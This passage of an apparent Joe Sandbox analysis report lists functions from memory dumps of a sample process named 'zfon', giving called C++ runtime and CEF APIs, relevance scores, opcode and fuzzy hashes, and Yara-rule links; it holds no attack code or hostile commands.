std::_Lockit::_Lockit.LIBCPMT ref: 000002DC4BE634D9
std::_Lockit::_Lockit.LIBCPMT ref: 000002DC4BE634FE
std::_Lockit::~_Lockit.LIBCPMT ref: 000002DC4BE63528
std::_Facet_Register.LIBCPMT ref: 000002DC4BE6359F
std::_Lockit::~_Lockit.LIBCPMT ref: 000002DC4BE635C0
Concurrency::cancel_current_task.LIBCPMT ref: 000002DC4BE635D3

Memory Dump Source

Source File: 00000006.00000002.2604169993.000002DC4BE41000.00000020.10000000.00040000.00000000.sdmp, Offset: 000002DC4BE41000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2dc4be41000_zfon.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Concurrency::cancel_current_taskFacet_Register
String ID:
API String ID: 2081738530-0
Opcode ID: 83453f4eb3bf1dffc0219fa45b3e84c53879ec1447a878ff3e7c635ee0b3b3df
Instruction ID: 97623dad366547572b7c128f6e599918962329b2d75dbec8594bd43be6fe1c95
Opcode Fuzzy Hash: 83453f4eb3bf1dffc0219fa45b3e84c53879ec1447a878ff3e7c635ee0b3b3df
Instruction Fuzzy Hash: 7D316534114E0E8FEB55EF5CD4A8B6777D2FBA5310F61055AE05AC7192DA70EC06C742

Function 000002DC4BE75C9C Relevance: 9.1, APIs: 6, Instructions: 122COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 000002DC4BE75CB1
std::_Lockit::_Lockit.LIBCPMT ref: 000002DC4BE75CD6
std::_Lockit::~_Lockit.LIBCPMT ref: 000002DC4BE75D00
std::_Facet_Register.LIBCPMT ref: 000002DC4BE75D77
std::_Lockit::~_Lockit.LIBCPMT ref: 000002DC4BE75D98
Concurrency::cancel_current_task.LIBCPMT ref: 000002DC4BE75DAB

Memory Dump Source

Source File: 00000006.00000002.2604169993.000002DC4BE41000.00000020.10000000.00040000.00000000.sdmp, Offset: 000002DC4BE41000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2dc4be41000_zfon.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Concurrency::cancel_current_taskFacet_Register
String ID:
API String ID: 2081738530-0
Opcode ID: dbf76419f223492eb4d567d1ddfead33f015857671d4f618bff8f034f41251d9
Instruction ID: 57c8a16a8753041b4af4e481d9e9e84e139536c4dba7860a0ccef6dad3e40696
Opcode Fuzzy Hash: dbf76419f223492eb4d567d1ddfead33f015857671d4f618bff8f034f41251d9
Instruction Fuzzy Hash: 5F318135614E0E8FE795EB58D4ACB6773D2FBA9310F21056BE50AC71A2DA70EC01C782

Function 000002DC4BE63C6C Relevance: 9.1, APIs: 6, Instructions: 122COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 000002DC4BE63C81
std::_Lockit::_Lockit.LIBCPMT ref: 000002DC4BE63CA6
std::_Lockit::~_Lockit.LIBCPMT ref: 000002DC4BE63CD0
std::_Facet_Register.LIBCPMT ref: 000002DC4BE63D47
std::_Lockit::~_Lockit.LIBCPMT ref: 000002DC4BE63D68
Concurrency::cancel_current_task.LIBCPMT ref: 000002DC4BE63D7B

Memory Dump Source

Source File: 00000006.00000002.2604169993.000002DC4BE41000.00000020.10000000.00040000.00000000.sdmp, Offset: 000002DC4BE41000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2dc4be41000_zfon.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Concurrency::cancel_current_taskFacet_Register
String ID:
API String ID: 2081738530-0
Opcode ID: fc80a38f84d8b1e51c9f1ab55edaf59f604e24cdd39e5698dc947f378b48ed39
Instruction ID: eccec134b01c5a60afad83a93df72a4b9e58b6e435cfc80e3596912e16f4b96a
Opcode Fuzzy Hash: fc80a38f84d8b1e51c9f1ab55edaf59f604e24cdd39e5698dc947f378b48ed39
Instruction Fuzzy Hash: 8F319339118E1E8FEB54EF5CD4A8B6673D2FBA9310F60055AE00AC31A2DA74EC02C746

Function 000002DC4BE62C04 Relevance: 9.1, APIs: 6, Instructions: 122COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 000002DC4BE62C19
std::_Lockit::_Lockit.LIBCPMT ref: 000002DC4BE62C3E
std::_Lockit::~_Lockit.LIBCPMT ref: 000002DC4BE62C68
std::_Facet_Register.LIBCPMT ref: 000002DC4BE62CDF
std::_Lockit::~_Lockit.LIBCPMT ref: 000002DC4BE62D00
Concurrency::cancel_current_task.LIBCPMT ref: 000002DC4BE62D13

Memory Dump Source

Source File: 00000006.00000002.2604169993.000002DC4BE41000.00000020.10000000.00040000.00000000.sdmp, Offset: 000002DC4BE41000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2dc4be41000_zfon.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Concurrency::cancel_current_taskFacet_Register
String ID:
API String ID: 2081738530-0
Opcode ID: 724891deb70f6bab97fdbecb20f7882af71e6b5afc024078879898faf6915d7b
Instruction ID: 06bbcdd7d05e757c2c2664d7564a3a44a7a99e06e62acb77f0175fa2a31d5b9e
Opcode Fuzzy Hash: 724891deb70f6bab97fdbecb20f7882af71e6b5afc024078879898faf6915d7b
Instruction Fuzzy Hash: 0031B235608E0E8FEF59EF58D4A87A673D2FBA9310F60051BE41AC3192DA74EC05C742

Function 000002DC4BE64414 Relevance: 9.1, APIs: 6, Instructions: 122COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 000002DC4BE64429
std::_Lockit::_Lockit.LIBCPMT ref: 000002DC4BE6444E
std::_Lockit::~_Lockit.LIBCPMT ref: 000002DC4BE64478
std::_Facet_Register.LIBCPMT ref: 000002DC4BE644EF
std::_Lockit::~_Lockit.LIBCPMT ref: 000002DC4BE64510
Concurrency::cancel_current_task.LIBCPMT ref: 000002DC4BE64523

Memory Dump Source

Source File: 00000006.00000002.2604169993.000002DC4BE41000.00000020.10000000.00040000.00000000.sdmp, Offset: 000002DC4BE41000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2dc4be41000_zfon.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Concurrency::cancel_current_taskFacet_Register
String ID:
API String ID: 2081738530-0
Opcode ID: 3501a55cac674ec943a4107704978858b696d4dcc1e684f7dc7953510d33aca6
Instruction ID: 322e054f45ab4e982d6ff274070ff84d276622ea71eedcbde6d0d73bdacb0c27
Opcode Fuzzy Hash: 3501a55cac674ec943a4107704978858b696d4dcc1e684f7dc7953510d33aca6
Instruction Fuzzy Hash: F2319434218E1E8FE755EF9CD4A9B6773E2FBA9310F60055AE44AC3196DA70EC05C742

Function 000002DC4BE633AC Relevance: 9.1, APIs: 6, Instructions: 122COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 000002DC4BE633C1
std::_Lockit::_Lockit.LIBCPMT ref: 000002DC4BE633E6
std::_Lockit::~_Lockit.LIBCPMT ref: 000002DC4BE63410
std::_Facet_Register.LIBCPMT ref: 000002DC4BE63487
std::_Lockit::~_Lockit.LIBCPMT ref: 000002DC4BE634A8
Concurrency::cancel_current_task.LIBCPMT ref: 000002DC4BE634BB

Memory Dump Source

Source File: 00000006.00000002.2604169993.000002DC4BE41000.00000020.10000000.00040000.00000000.sdmp, Offset: 000002DC4BE41000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2dc4be41000_zfon.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Concurrency::cancel_current_taskFacet_Register
String ID:
API String ID: 2081738530-0
Opcode ID: 007529ccd9f2093f6cbd3ea33164f1a428c34247ba089f6e8a7b46865526f79e
Instruction ID: 7ab7df764c0aa73e0b7ed4248dba8339da3c062bb824ef37ed3c504fbb97d6d5
Opcode Fuzzy Hash: 007529ccd9f2093f6cbd3ea33164f1a428c34247ba089f6e8a7b46865526f79e
Instruction Fuzzy Hash: F0316534218E1A8FF755EF9CD898B67B7D2FBA5310F61056AD40AC3196DA70EC06C742

Function 000002DC4BE75B84 Relevance: 9.1, APIs: 6, Instructions: 122COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 000002DC4BE75B99
std::_Lockit::_Lockit.LIBCPMT ref: 000002DC4BE75BBE
std::_Lockit::~_Lockit.LIBCPMT ref: 000002DC4BE75BE8
std::_Facet_Register.LIBCPMT ref: 000002DC4BE75C5F
std::_Lockit::~_Lockit.LIBCPMT ref: 000002DC4BE75C80
Concurrency::cancel_current_task.LIBCPMT ref: 000002DC4BE75C93

Memory Dump Source

Source File: 00000006.00000002.2604169993.000002DC4BE41000.00000020.10000000.00040000.00000000.sdmp, Offset: 000002DC4BE41000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2dc4be41000_zfon.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Concurrency::cancel_current_taskFacet_Register
String ID:
API String ID: 2081738530-0
Opcode ID: 25ec4776e4338027b196f5614ee73a8b8353bbf72d8fa38d4934d826f919c06f
Instruction ID: 3a3d679d0c24edc9e181e0beaa8efcfb50ea9de384a9ef4e4c8eac9928baf75e
Opcode Fuzzy Hash: 25ec4776e4338027b196f5614ee73a8b8353bbf72d8fa38d4934d826f919c06f
Instruction Fuzzy Hash: 04318334618A1E8FEB55EF98D4A876777E2FBA9314F20055BE04AC3192DA74EC05C782

Function 000002DC4BE85A00 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 146COMMON

Download Yara Rule

APIs

__std_exception_copy.LIBVCRUNTIME ref: 000002DC4BE85AB8
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 000002DC4BE85B22
__std_exception_copy.LIBVCRUNTIME ref: 000002DC4BE85B54

Strings

/, xrefs: 000002DC4BE85A58
", xrefs: 000002DC4BE85A4F

Memory Dump Source

Source File: 00000006.00000002.2604169993.000002DC4BE41000.00000020.10000000.00040000.00000000.sdmp, Offset: 000002DC4BE41000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2dc4be41000_zfon.jbxd

Similarity

API ID: __std_exception_copy$_invalid_parameter_noinfo_noreturn
String ID: "$/
API String ID: 946306463-2662438755
Opcode ID: f7ed9c186e3a81dd1a682e2aebc4cc29138fbac1561feb00ddfc614076276cc6
Instruction ID: 6122ad2b9fe826f857546c12370808f2e5dbc5ae5a3b1b88b44732c35b39aee1
Opcode Fuzzy Hash: f7ed9c186e3a81dd1a682e2aebc4cc29138fbac1561feb00ddfc614076276cc6
Instruction Fuzzy Hash: 6341E270528E4D8FE745EF28C498BA6B7E1FBA9304F90465BF449C7262EB7598C4C702

Function 000002DC4BE85890 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 145COMMON

Download Yara Rule

APIs

__std_exception_copy.LIBVCRUNTIME ref: 000002DC4BE85947
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 000002DC4BE859B1
__std_exception_copy.LIBVCRUNTIME ref: 000002DC4BE859E4

Strings

/, xrefs: 000002DC4BE858E5
(, xrefs: 000002DC4BE858DC

Memory Dump Source

Source File: 00000006.00000002.2604169993.000002DC4BE41000.00000020.10000000.00040000.00000000.sdmp, Offset: 000002DC4BE41000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2dc4be41000_zfon.jbxd

Similarity

API ID: __std_exception_copy$_invalid_parameter_noinfo_noreturn
String ID: ($/
API String ID: 946306463-2468745909
Opcode ID: fc8a794ece072c0eb655f61c286cb035e8ef0a971ebfcc12b5a3971e85337c2d
Instruction ID: 64f460a91740d607ee8c02d7e7b307fbc0c1a5eace0abc04f503d961aa465af5
Opcode Fuzzy Hash: fc8a794ece072c0eb655f61c286cb035e8ef0a971ebfcc12b5a3971e85337c2d
Instruction Fuzzy Hash: 9A41F270528E4D8FE746EF28C598BA6B3E1FBAA300F50475AF449C7162EB7598C4C742

Function 000002DC4BE44DB0 Relevance: 7.7, APIs: 5, Instructions: 241COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 000002DC4BE44FD2
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 000002DC4BE44FD8
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 000002DC4BE44FDE
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 000002DC4BE44FE4
__std_exception_destroy.LIBVCRUNTIME ref: 000002DC4BE4500D

Memory Dump Source

Source File: 00000006.00000002.2604169993.000002DC4BE41000.00000020.10000000.00040000.00000000.sdmp, Offset: 000002DC4BE41000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2dc4be41000_zfon.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$__std_exception_destroy
String ID:
API String ID: 1346393832-0
Opcode ID: 14a0a2280ba3913498afd46af4e05953e53841631f47ab32aa26e21ecbd1485a
Instruction ID: 88dcfe2265728c17f7055d11a169f523fcc5e71709a706977a8210f0fb413856
Opcode Fuzzy Hash: 14a0a2280ba3913498afd46af4e05953e53841631f47ab32aa26e21ecbd1485a
Instruction Fuzzy Hash: 7171DA30618E8D4FE745EB3CC458BAAB3D2FBD9314F64571AE499C22D6DA7488C4C742

Function 000002DC4BE523A0 Relevance: 7.7, APIs: 5, Instructions: 228COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 000002DC4BE52416
std::_Lockit::~_Lockit.LIBCPMT ref: 000002DC4BE525A1
Concurrency::cancel_current_task.LIBCPMT ref: 000002DC4BE525BA
Concurrency::cancel_current_task.LIBCPMT ref: 000002DC4BE525CD
Concurrency::cancel_current_task.LIBCPMT ref: 000002DC4BE525D3

Memory Dump Source

Source File: 00000006.00000002.2604169993.000002DC4BE41000.00000020.10000000.00040000.00000000.sdmp, Offset: 000002DC4BE41000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2dc4be41000_zfon.jbxd

Similarity

API ID: Concurrency::cancel_current_task$Lockitstd::_$Lockit::_Lockit::~_
String ID:
API String ID: 2973761340-0
Opcode ID: bf22bb379a8e7632d8d336ecfe290394dbc84d542f62b966fb0ca8af05395837
Instruction ID: 4a8ddaf804d0a8e1c9fe070590fa5e90014823a53f87434a7a9c031c2e67296d
Opcode Fuzzy Hash: bf22bb379a8e7632d8d336ecfe290394dbc84d542f62b966fb0ca8af05395837
Instruction Fuzzy Hash: D171C074918B0A8AEF15EFA8C4257EEB7A6FF89710F20015BE405D7292DA30DC05C7C2

Function 000002DC4BE5DDC4 Relevance: 7.6, APIs: 5, Instructions: 91COMMON

Download Yara Rule

APIs

_Yarn.LIBCPMT ref: 000002DC4BE5DE1D
std::_Maklocwcs.LIBCPMT ref: 000002DC4BE5DE39
_Yarn.LIBCPMT ref: 000002DC4BE5DE59
std::_Maklocwcs.LIBCPMT ref: 000002DC4BE5DE75
std::_Maklocwcs.LIBCPMT ref: 000002DC4BE5DE85

Memory Dump Source

Source File: 00000006.00000002.2604169993.000002DC4BE41000.00000020.10000000.00040000.00000000.sdmp, Offset: 000002DC4BE41000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2dc4be41000_zfon.jbxd

Similarity

API ID: Maklocwcsstd::_$Yarn
String ID:
API String ID: 1194159078-0
Opcode ID: f8faeaa6822d61a2497c1671f2cc7a916da0a99ff22676ad33aa91cfa711cf9a
Instruction ID: 2d12bbd6e49d37998b362bb3444e080aa6dd76e4a1fa80ef4589ada94a9891d0
Opcode Fuzzy Hash: f8faeaa6822d61a2497c1671f2cc7a916da0a99ff22676ad33aa91cfa711cf9a
Instruction Fuzzy Hash: FE313C34514F098FEB54EF388499BA673E2FBA9341F50466AD44AC7162EE70DD84CB42

Function 000002DC4BE85B70 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 125COMMON

Download Yara Rule

APIs

__std_exception_copy.LIBVCRUNTIME ref: 000002DC4BE85C31
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 000002DC4BE85C9B

Strings

/, xrefs: 000002DC4BE85BC8
&, xrefs: 000002DC4BE85BBF

Memory Dump Source

Source File: 00000006.00000002.2604169993.000002DC4BE41000.00000020.10000000.00040000.00000000.sdmp, Offset: 000002DC4BE41000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2dc4be41000_zfon.jbxd

Similarity

API ID: __std_exception_copy_invalid_parameter_noinfo_noreturn
String ID: &$/
API String ID: 1109970293-2578988991
Opcode ID: be6b46890b10a345fbdaeb7d30acd3836647471af38061ebdf142676a04330be
Instruction ID: c442f501b5d01d20a70ff051d51bd4b7b18e422f886dfdbe56102d2ad0e82119
Opcode Fuzzy Hash: be6b46890b10a345fbdaeb7d30acd3836647471af38061ebdf142676a04330be
Instruction Fuzzy Hash: AC31A070528E8D8FE745EF28C49876AB7E1FBA9304F50465EF449C3262DB7994C0C702

Function 000002DC4BE8D4E0 Relevance: 6.5, APIs: 4, Instructions: 487COMMON

Download Yara Rule

APIs

__std_exception_copy.LIBVCRUNTIME ref: 000002DC4BE8D5AB
__std_exception_destroy.LIBVCRUNTIME ref: 000002DC4BE8D738
__std_exception_destroy.LIBVCRUNTIME ref: 000002DC4BE8D773
__std_exception_copy.LIBVCRUNTIME ref: 000002DC4BE8D869

Memory Dump Source

Source File: 00000006.00000002.2604169993.000002DC4BE41000.00000020.10000000.00040000.00000000.sdmp, Offset: 000002DC4BE41000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2dc4be41000_zfon.jbxd

Similarity

API ID: __std_exception_copy__std_exception_destroy
String ID:
API String ID: 2960854011-0
Opcode ID: bd92f64d335261570e5d26f6f9255d8f4051e18708e87215bc64ab645aac3861
Instruction ID: 6b3618a1fcd84f6c3a76c264d7c9816f638f5a4b5c86d3ef96cc73b8855a2fec
Opcode Fuzzy Hash: bd92f64d335261570e5d26f6f9255d8f4051e18708e87215bc64ab645aac3861
Instruction Fuzzy Hash: 2AF12F70A08E0D8FDB95EF58D498AAAB7F5FB69301F10426FE409D7261DB34E944CB81

Function 000002DC4BE8D040 Relevance: 6.5, APIs: 4, Instructions: 486COMMON

Download Yara Rule

APIs

__std_exception_copy.LIBVCRUNTIME ref: 000002DC4BE8D10B
__std_exception_destroy.LIBVCRUNTIME ref: 000002DC4BE8D298
__std_exception_destroy.LIBVCRUNTIME ref: 000002DC4BE8D2D3
__std_exception_copy.LIBVCRUNTIME ref: 000002DC4BE8D3C9

Memory Dump Source

Source File: 00000006.00000002.2604169993.000002DC4BE41000.00000020.10000000.00040000.00000000.sdmp, Offset: 000002DC4BE41000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2dc4be41000_zfon.jbxd

Similarity

API ID: __std_exception_copy__std_exception_destroy
String ID:
API String ID: 2960854011-0
Opcode ID: 015c01bb61b80a617eceb6ba28b9947b62ec006bb18cc4e43cbde721b9457c70
Instruction ID: 54fa1b01c3aedb1f6ef467ba3f499d8062878ece1b18c4b1c502b53c084c51eb
Opcode Fuzzy Hash: 015c01bb61b80a617eceb6ba28b9947b62ec006bb18cc4e43cbde721b9457c70
Instruction Fuzzy Hash: 6AF13C70A08E0D9FEB95EF58D498A99B7F1FBA9301F10426FE409D7261DB30E944CB81

Function 000002DC4BE555C0 Relevance: 6.3, APIs: 4, Instructions: 322COMMON

Download Yara Rule

APIs

Part of subcall function 000002DC4BE576BC: std::_Lockit::_Lockit.LIBCPMT ref: 000002DC4BE576D9
Part of subcall function 000002DC4BE576BC: std::locale::_Setgloballocale.LIBCPMT ref: 000002DC4BE576FC
Part of subcall function 000002DC4BE576BC: std::_Lockit::~_Lockit.LIBCPMT ref: 000002DC4BE57791

std::_Lockit::_Lockit.LIBCPMT ref: 000002DC4BE556B8
std::_Lockit::~_Lockit.LIBCPMT ref: 000002DC4BE557A0
std::_Lockit::_Lockit.LIBCPMT ref: 000002DC4BE557DF
std::_Lockit::~_Lockit.LIBCPMT ref: 000002DC4BE55809

Memory Dump Source

Source File: 00000006.00000002.2604169993.000002DC4BE41000.00000020.10000000.00040000.00000000.sdmp, Offset: 000002DC4BE41000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2dc4be41000_zfon.jbxd

Similarity

API ID: Lockitstd::_$Lockit::_Lockit::~_$Setgloballocalestd::locale::_
String ID:
API String ID: 801953252-0
Opcode ID: e093b0e60459fbe3058fb1df9b8c31c26e43fe3416cd89e84d5938561010208e
Instruction ID: 2013a50e2e60e51beaf308a8fe4d45e29cddc9855e33ae53101edbdbc7a3916c
Opcode Fuzzy Hash: e093b0e60459fbe3058fb1df9b8c31c26e43fe3416cd89e84d5938561010208e
Instruction Fuzzy Hash: 85B19370A18A4E8FEB54EF68D8647EA77E2FF99310F10025AE409D3252DA34D950CB82

Function 000002DC4BE46C70 Relevance: 6.2, APIs: 4, Instructions: 185COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 000002DC4BE46D4B
std::_Lockit::_Lockit.LIBCPMT ref: 000002DC4BE46D70
std::_Lockit::~_Lockit.LIBCPMT ref: 000002DC4BE46D9A
std::_Lockit::~_Lockit.LIBCPMT ref: 000002DC4BE46E2B

Memory Dump Source

Source File: 00000006.00000002.2604169993.000002DC4BE41000.00000020.10000000.00040000.00000000.sdmp, Offset: 000002DC4BE41000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2dc4be41000_zfon.jbxd

Similarity

API ID: Lockitstd::_$Lockit::_Lockit::~_
String ID:
API String ID: 593203224-0
Opcode ID: af466333a9729f9682caa3f8c0ad6bbb8cf15438e78ccc876ba822118fb2a79a
Instruction ID: 0ba26c4a6a6368432a56719ba8e8b6b21e1eb6aa27d354741a3b23fb34fa6993
Opcode Fuzzy Hash: af466333a9729f9682caa3f8c0ad6bbb8cf15438e78ccc876ba822118fb2a79a
Instruction Fuzzy Hash: 8B519135114E0ECFEB54EF18D499BA7B3E2FBA4304F60059AE459C71A2DA34ED45CB82

Function 000002DC4BE51870 Relevance: 6.1, APIs: 4, Instructions: 127COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 000002DC4BE518BB
std::_Lockit::_Lockit.LIBCPMT ref: 000002DC4BE518E0
std::_Lockit::~_Lockit.LIBCPMT ref: 000002DC4BE5190A
std::_Lockit::~_Lockit.LIBCPMT ref: 000002DC4BE5199B

Memory Dump Source

Source File: 00000006.00000002.2604169993.000002DC4BE41000.00000020.10000000.00040000.00000000.sdmp, Offset: 000002DC4BE41000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2dc4be41000_zfon.jbxd

Similarity

API ID: Lockitstd::_$Lockit::_Lockit::~_
String ID:
API String ID: 593203224-0
Opcode ID: a0ed68bf35fb4c8fd617e305e19bb09cf24f121f403a291cc7245bfd46121afe
Instruction ID: 9ba9fe321a5790908b68f2a88b2207abb43896e8679c965e4fe33c35ed60d451
Opcode Fuzzy Hash: a0ed68bf35fb4c8fd617e305e19bb09cf24f121f403a291cc7245bfd46121afe
Instruction Fuzzy Hash: 6A31AF35118A0A8FEB94EF58D5A97A773E2FBA8354F21055EE059C3162DA31ED01C783

Function 00007FF7F97189B0 Relevance: 6.1, APIs: 4, Instructions: 68COMMON

Download Yara Rule

APIs

cef_string_utf16_clear.LIBCEF ref: 00007FF7F9718A94
cef_string_utf16_clear.LIBCEF ref: 00007FF7F9718A9F
cef_string_utf16_clear.LIBCEF ref: 00007FF7F9718AAA
cef_string_utf16_clear.LIBCEF ref: 00007FF7F9718AB8

Memory Dump Source

Source File: 00000006.00000002.2606324920.00007FF7F96E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF7F96E0000, based on PE: true

Associated: 00000006.00000002.2606008536.00007FF7F96E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2606835994.00007FF7F981B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2606835994.00007FF7F98D5000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2607973026.00007FF7F9941000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2608127384.00007FF7F9942000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2608223601.00007FF7F9953000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2608300064.00007FF7F9955000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2608364168.00007FF7F9969000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff7f96e0000_zfon.jbxd

Yara matches

Similarity

API ID: cef_string_utf16_clear
String ID:
API String ID: 2864223729-0
Opcode ID: ce5ae4ba9fe376b65645fd51b03e60113563d6b76bda0864989d9fc94911f9d3
Instruction ID: 872d016b7a786da3a8c215d7fe57ed603b561b343a901bb8c9585f43565002b0
Opcode Fuzzy Hash: ce5ae4ba9fe376b65645fd51b03e60113563d6b76bda0864989d9fc94911f9d3
Instruction Fuzzy Hash: 62316E72618A85C2EB64EF15E8543A9E370FB88BD4F885031DA9E476A8DF3CD584C760

Function 00007FF7F9710930 Relevance: 6.0, APIs: 4, Instructions: 50COMMON

Download Yara Rule

APIs

cef_string_utf16_set.LIBCEF ref: 00007FF7F9710956
cef_string_utf16_set.LIBCEF ref: 00007FF7F971096B
cef_string_utf16_set.LIBCEF ref: 00007FF7F9710980
cef_string_utf16_set.LIBCEF ref: 00007FF7F9710995

Memory Dump Source

Source File: 00000006.00000002.2606324920.00007FF7F96E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF7F96E0000, based on PE: true

Associated: 00000006.00000002.2606008536.00007FF7F96E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2606835994.00007FF7F981B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2606835994.00007FF7F98D5000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2607973026.00007FF7F9941000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2608127384.00007FF7F9942000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2608223601.00007FF7F9953000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2608300064.00007FF7F9955000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2608364168.00007FF7F9969000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff7f96e0000_zfon.jbxd

Yara matches

Similarity

API ID: cef_string_utf16_set
String ID:
API String ID: 2786225788-0
Opcode ID: 7197ee378ef0cece509e4b77bb64e0ce9f980a1e7a92a43fd744432bfccf45b7
Instruction ID: 1ab09760f38317db0c63861273379e1616e34a1cef2e68ce99dc241f308c5ea1
Opcode Fuzzy Hash: 7197ee378ef0cece509e4b77bb64e0ce9f980a1e7a92a43fd744432bfccf45b7
Instruction Fuzzy Hash: 64210666A04B8093E758CF3AE6406A9B370F799B94F00A125DF9E53A16DF38F1E4C700

Function 00007FF7F96E69E0 Relevance: 6.0, APIs: 4, Instructions: 29COMMON

Download Yara Rule

APIs

cef_string_utf16_clear.LIBCEF ref: 00007FF7F96E6A0D
cef_string_utf16_clear.LIBCEF ref: 00007FF7F96E6A16
cef_string_utf16_clear.LIBCEF ref: 00007FF7F96E6A1F
cef_string_utf16_clear.LIBCEF ref: 00007FF7F96E6A28

Memory Dump Source

Source File: 00000006.00000002.2606324920.00007FF7F96E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF7F96E0000, based on PE: true

Associated: 00000006.00000002.2606008536.00007FF7F96E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2606835994.00007FF7F981B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2606835994.00007FF7F98D5000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2607973026.00007FF7F9941000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2608127384.00007FF7F9942000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2608223601.00007FF7F9953000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2608300064.00007FF7F9955000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2608364168.00007FF7F9969000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff7f96e0000_zfon.jbxd

Yara matches

Similarity

API ID: cef_string_utf16_clear
String ID:
API String ID: 2864223729-0
Opcode ID: d33a2170fbd08e1295aa745bb59190dabb63d073c9f8e86e5b0d8221db3b0f23
Instruction ID: 0369f5a37d547324310c4fe1226cbfeee328ad537b4005ad5925154f25ebfc57
Opcode Fuzzy Hash: d33a2170fbd08e1295aa745bb59190dabb63d073c9f8e86e5b0d8221db3b0f23
Instruction Fuzzy Hash: B2F08122E1864142E780BF11ED413AD6330EB487C0FC44431E65D07AEADF3CE4928360

Function 000002DC4BE531D0 Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 245COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 000002DC4BE533BC
Concurrency::cancel_current_task.LIBCPMT ref: 000002DC4BE533C2

Strings

